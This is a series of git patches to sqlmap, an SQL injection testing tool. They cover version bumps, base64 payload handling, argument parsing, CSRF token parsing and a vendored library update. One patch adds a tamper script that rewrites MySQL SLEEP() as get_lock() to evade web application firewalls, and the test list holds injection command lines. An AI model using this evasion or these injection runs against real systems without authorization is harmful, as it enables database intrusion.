lib/core/testing.py | 3 ++- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index e11afe200..246eaa03c 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import BOUNDED_BASE64_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import DEFAULT_COOKIE_DELIMITER @@ -183,7 +184,7 @@ class Agent(object): newValue = self.adjustLateValues(newValue) # TODO: support for POST_HINT - newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe) + newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER) if parameter in kb.base64Originals: origValue = kb.base64Originals[parameter] @@ -397,6 +398,10 @@ class Agent(object): """ if payload: + for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload): + _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe) + payload = payload.replace(match.group(0), _) + payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) payload = payload.replace(SINGLE_QUOTE_MARKER, "'") diff --git a/lib/core/settings.py b/lib/core/settings.py index fdad3128e..16605f611 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.2" +VERSION = "1.4.9.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -66,6 +66,7 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__QUESTION_MARK__" ASTERISK_MARKER = "__ASTERISK_MARK__" REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" +BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__" SAFE_VARIABLE_MARKER = "__SAFE__" SAFE_HEX_MARKER = "__SAFE_HEX__" diff --git a/lib/core/testing.py b/lib/core/testing.py index 0704a2da5..9c4e874bd 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -39,7 +39,6 @@ def vulnTest(): TESTS = ( ("-h", ("to see full list of options run with '-hh'",)), - ("-u -p id --base64=id -v 6 --data='base64=true' --flush-session --banner --technique=BEU", ("banner: '3.",)), ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), (u"-c --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")), @@ -49,6 +48,8 @@ def vulnTest(): ("-r --flush-session -v 5 --test-skip='heavy' --save=", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")), ("-l --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), + ("-u -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)), + ("-u -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)), ("-u --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)), ("-u --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), From c4a692abe33d08b4a55fd813116835c08f60ffef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Sep 2020 23:21:12 +0200 Subject: [PATCH 20/45] Patch for #4332 --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 16605f611..f2d45e91b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.3" +VERSION = "1.4.9.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 8fcd0df71..58c632f26 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -952,8 +952,8 @@ def cmdLineParser(argv=None): argv[i] = "" elif argv[i] in DEPRECATED_OPTIONS: argv[i] = "" - elif any(argv[i].startswith(_) for _ in ("--tamper",)): - key = re.search(r"\-\-(\w+)", argv[i]).group(1) + elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")): + key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) index = auxIndexes.get(key, None) if index is None: index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) From bcea050f226b48d01f7d1df5fdcc40bc14791780 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Sep 2020 23:32:47 +0200 Subject: [PATCH 21/45] Fixes #4331 --- lib/core/settings.py | 2 +- lib/request/connect.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f2d45e91b..994d66d35 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.4" +VERSION = "1.4.9.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 761fb38b5..e70575e33 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1089,6 +1089,9 @@ class Connect(object): if not match: match = re.search(r"\b(?P%s)\s*=\s*['\"]?(?P[^;'\"]+)" % conf.csrfToken, page or "", re.I) + if not match: + match = re.search(r"%s)[\"']?[^>]+\b(value|content)=[\"']?(?P[^>\"']+)" % conf.csrfToken, page or "", re.I) + if match: token.name, token.value = match.group("name"), match.group("value") From bfe93e20c50f079db495393ef5738694f99d0b90 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Sep 2020 13:58:26 +0200 Subject: [PATCH 22/45] Patch for #4337 --- lib/core/settings.py | 2 +- sqlmap.py | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 994d66d35..212c20821 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.5" +VERSION = "1.4.9.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index d7608fded..71681dd39 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -428,6 +428,12 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")): + errMsg = "package 'python-ntlm' has a known compatibility issue with the " + errMsg += "Python 3 (Reference: https://github.com/mullender/python-ntlm/pull/61)" + logger.critical(errMsg) + raise SystemExit + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): errMsg = "there has been a problem in enumeration. " errMsg += "Because of a considerable chance of false-positive case " From 16583318109b58350b26007e05ba5745a245b75a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Sep 2020 14:07:13 +0200 Subject: [PATCH 23/45] Trivial update --- lib/core/settings.py | 2 +- lib/request/redirecthandler.py | 2 +- tamper/hex2char.py | 1 + 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 212c20821..d82145369 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.6" +VERSION = "1.4.9.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index b0eaf3784..049108189 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -160,7 +160,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): if not hasattr(result, "read"): def _(self, length=None): try: - retVal = getSafeExString(ex) + retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3) except: retVal = "" return retVal diff --git a/tamper/hex2char.py b/tamper/hex2char.py index 5df432650..aae8ea415 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os import re from lib.core.common import singleTimeWarnMessage From 715063f0d4a3556f4756731d418559a9156ab187 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 9 Sep 2020 16:15:23 +0200 Subject: [PATCH 24/45] Patching session PY2<->PY3 incompatibility issue --- lib/core/common.py | 2 +- lib/core/convert.py | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9a6da74e2..a6a1c37ec 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4774,7 +4774,7 @@ def serializeObject(object_): """ Serializes given object - >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type + >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str True """ diff --git a/lib/core/convert.py b/lib/core/convert.py index 11197b537..8aa22490c 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -48,16 +48,16 @@ def base64pickle(value): retVal = None try: - retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL)) + retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) except: warnMsg = "problem occurred while serializing " warnMsg += "instance of a type '%s'" % type(value) singleTimeWarnMessage(warnMsg) try: - retVal = encodeBase64(pickle.dumps(value)) + retVal = encodeBase64(pickle.dumps(value), binary=False) except: - retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL)) + retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index d82145369..daa517fde 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.7" +VERSION = "1.4.9.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 7963281c414e6ceb4f936f99a0766050ec35f1ae Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Sep 2020 16:20:12 +0200 Subject: [PATCH 25/45] Minor update --- lib/core/settings.py | 2 +- thirdparty/six/__init__.py | 88 +++++++++++++++++++++++++------------- 2 files changed, 60 insertions(+), 30 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index daa517fde..6ab9972ff 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.8" +VERSION = "1.4.9.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py index 89b2188fd..83f69783d 100644 --- a/thirdparty/six/__init__.py +++ b/thirdparty/six/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2018 Benjamin Peterson +# Copyright (c) 2010-2020 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -29,7 +29,7 @@ import sys import types __author__ = "Benjamin Peterson " -__version__ = "1.12.0" +__version__ = "1.15.0" # Useful for very coarse version differentiation. @@ -255,9 +255,11 @@ _moved_attributes = [ MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("copyreg", "copy_reg"), MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), - MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), MovedModule("http_cookies", "Cookie", "http.cookies"), MovedModule("html_entities", "htmlentitydefs", "html.entities"), @@ -637,13 +639,16 @@ if PY3: import io StringIO = io.StringIO BytesIO = io.BytesIO + del io _assertCountEqual = "assertCountEqual" if sys.version_info[1] <= 1: _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" else: _assertRaisesRegex = "assertRaisesRegex" _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" else: def b(s): return s @@ -665,6 +670,7 @@ else: _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" _add_doc(b, """Byte literal""") _add_doc(u, """Text literal""") @@ -681,6 +687,10 @@ def assertRegex(self, *args, **kwargs): return getattr(self, _assertRegex)(*args, **kwargs) +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + if PY3: exec_ = getattr(moves.builtins, "exec") @@ -716,16 +726,7 @@ else: """) -if sys.version_info[:2] == (3, 2): - exec_("""def raise_from(value, from_value): - try: - if from_value is None: - raise value - raise value from from_value - finally: - value = None -""") -elif sys.version_info[:2] > (3, 2): +if sys.version_info[:2] > (3,): exec_("""def raise_from(value, from_value): try: raise value from from_value @@ -805,13 +806,33 @@ if sys.version_info[:2] < (3, 3): _add_doc(reraise, """Reraise an exception.""") if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper(wrapper, wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): - def wrapper(f): - f = functools.wraps(wrapped, assigned, updated)(f) - f.__wrapped__ = wrapped - return f - return wrapper + return functools.partial(_update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + wraps.__doc__ = functools.wraps.__doc__ + else: wraps = functools.wraps @@ -824,7 +845,15 @@ def with_metaclass(meta, *bases): class metaclass(type): def __new__(cls, name, this_bases, d): - return meta(name, bases, d) + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d['__orig_bases__'] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) @classmethod def __prepare__(cls, name, this_bases): @@ -861,12 +890,11 @@ def ensure_binary(s, encoding='utf-8', errors='strict'): - `str` -> encoded to `bytes` - `bytes` -> `bytes` """ + if isinstance(s, binary_type): + return s if isinstance(s, text_type): return s.encode(encoding, errors) - elif isinstance(s, binary_type): - return s - else: - raise TypeError("not expecting type '%s'" % type(s)) + raise TypeError("not expecting type '%s'" % type(s)) def ensure_str(s, encoding='utf-8', errors='strict'): @@ -880,12 +908,15 @@ def ensure_str(s, encoding='utf-8', errors='strict'): - `str` -> `str` - `bytes` -> decoded to `str` """ - if not isinstance(s, (text_type, binary_type)): - raise TypeError("not expecting type '%s'" % type(s)) + # Optimization: Fast return for the common case. + if type(s) is str: + return s if PY2 and isinstance(s, text_type): - s = s.encode(encoding, errors) + return s.encode(encoding, errors) elif PY3 and isinstance(s, binary_type): - s = s.decode(encoding, errors) + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) return s @@ -908,10 +939,9 @@ def ensure_text(s, encoding='utf-8', errors='strict'): raise TypeError("not expecting type '%s'" % type(s)) - def python_2_unicode_compatible(klass): """ - A decorator that defines __unicode__ and __str__ methods under Python 2. + A class decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method From a1342e04a5c8c84abe575ae00393c6a0b24b162b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Sep 2020 16:34:01 +0200 Subject: [PATCH 26/45] Minor update --- doc/THIRD-PARTY.md | 2 +- lib/core/settings.py | 2 +- lib/core/testing.py | 1 + 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index eca318269..04d558f61 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement. * The `bottle` web framework library located under `thirdparty/bottle/`. Copyright (C) 2012, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. - Copyright (C) 2019, Miroslav Stampar. + Copyright (C) 2019-2020, Miroslav Stampar. * The `ordereddict` library located under `thirdparty/odict/`. Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. diff --git a/lib/core/settings.py b/lib/core/settings.py index 6ab9972ff..b64c1ad90 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.9" +VERSION = "1.4.9.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 9c4e874bd..61dd1c3dc 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -44,6 +44,7 @@ def vulnTest(): (u"-c --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")), (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)), ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), + ("-u '&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session -v 5 --test-skip='heavy' --save=", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")), ("-l --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), From f6857d4ee4bbd76c48a324162529d2558d4da7e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Sep 2020 14:32:25 +0200 Subject: [PATCH 27/45] Bug fix (304 not modified as original response) --- lib/core/common.py | 2 +- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index a6a1c37ec..c9c09977a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5297,7 +5297,7 @@ def parseRequestFile(reqFile, checkParams=True): params = True # Avoid proxy and connection type related headers - elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): + elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH): headers.append((getUnicode(key), getUnicode(value))) if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): diff --git a/lib/core/enums.py b/lib/core/enums.py index 16039fb66..b8fae85f6 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -239,6 +239,7 @@ class HTTP_HEADER(object): EXPIRES = "Expires" HOST = "Host" IF_MODIFIED_SINCE = "If-Modified-Since" + IF_NONE_MATCH = "If-None-Match" LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" diff --git a/lib/core/settings.py b/lib/core/settings.py index b64c1ad90..8591f1060 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.10" +VERSION = "1.4.9.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f0bbbb0918a86ec36c84264d05f05da7f7f79d47 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Sep 2020 16:28:10 +0200 Subject: [PATCH 28/45] Fixes #4341 --- lib/core/settings.py | 2 +- plugins/generic/users.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8591f1060..69537d2b1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.11" +VERSION = "1.4.9.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 64dcebfd6..660aec129 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -617,7 +617,8 @@ class Users(object): # In Informix we get one letter for the highest privilege elif Backend.isDbms(DBMS.INFORMIX): - privileges.add(INFORMIX_PRIVS[privilege.strip()]) + if privilege.strip() in INFORMIX_PRIVS: + privileges.add(INFORMIX_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise From 192ca02c41f08d75ba190944c7e403df586ebc0a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 16 Sep 2020 14:28:32 +0200 Subject: [PATCH 29/45] Minor update (more intuitive) --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 69537d2b1..3acf4423f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.12" +VERSION = "1.4.9.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 58c632f26..090604523 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1003,7 +1003,7 @@ def cmdLineParser(argv=None): for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): try: if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit(): - conf.verbose = verbosity.count('v') + 1 + conf.verbose = verbosity.count('v') del argv[argv.index(verbosity)] except (IndexError, ValueError): pass From e0ea1ab5e9de21f107dfe6e416d8e54dd92237c3 Mon Sep 17 00:00:00 2001 From: antichown Date: Thu, 17 Sep 2020 16:06:47 +0300 Subject: [PATCH 30/45] new tamper script (#4344) * new tamper script works with time-based queries * Update sleepgetlock.py Co-authored-by: Miroslav Stampar --- tamper/sleepgetlock.py | 46 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 tamper/sleepgetlock.py diff --git a/tamper/sleepgetlock.py b/tamper/sleepgetlock.py new file mode 100644 index 000000000..1aa63d334 --- /dev/null +++ b/tamper/sleepgetlock.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'SLEEP(x)' with "get_lock('sqlmap',x)" + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the SLEEP() and BENCHMARK() functions + + * Reference: https://zhuanlan.zhihu.com/p/35245598 + + >>> tamper('SLEEP(2)') + "get_lock('sqlmap',2)" + """ + + if payload and payload.find("SLEEP") > -1: + while payload.find("SLEEP(") > -1: + index = payload.find("SLEEP(") + depth = 1 + + num = payload[index+6] + + newVal = "get_lock('sqlmap',%s)" % (num) + payload = payload[:index] + newVal + payload[index+8:] + + + return payload From 3258e29cf97539129932e538e80ac77766aac9a7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Sep 2020 15:22:50 +0200 Subject: [PATCH 31/45] Update for #4344 --- lib/core/settings.py | 2 +- tamper/{sleepgetlock.py => sleep2getlock.py} | 20 +++++++------------- 2 files changed, 8 insertions(+), 14 deletions(-) rename tamper/{sleepgetlock.py => sleep2getlock.py} (57%) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3acf4423f..6186f35fc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.9.13" +VERSION = "1.4.9.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % 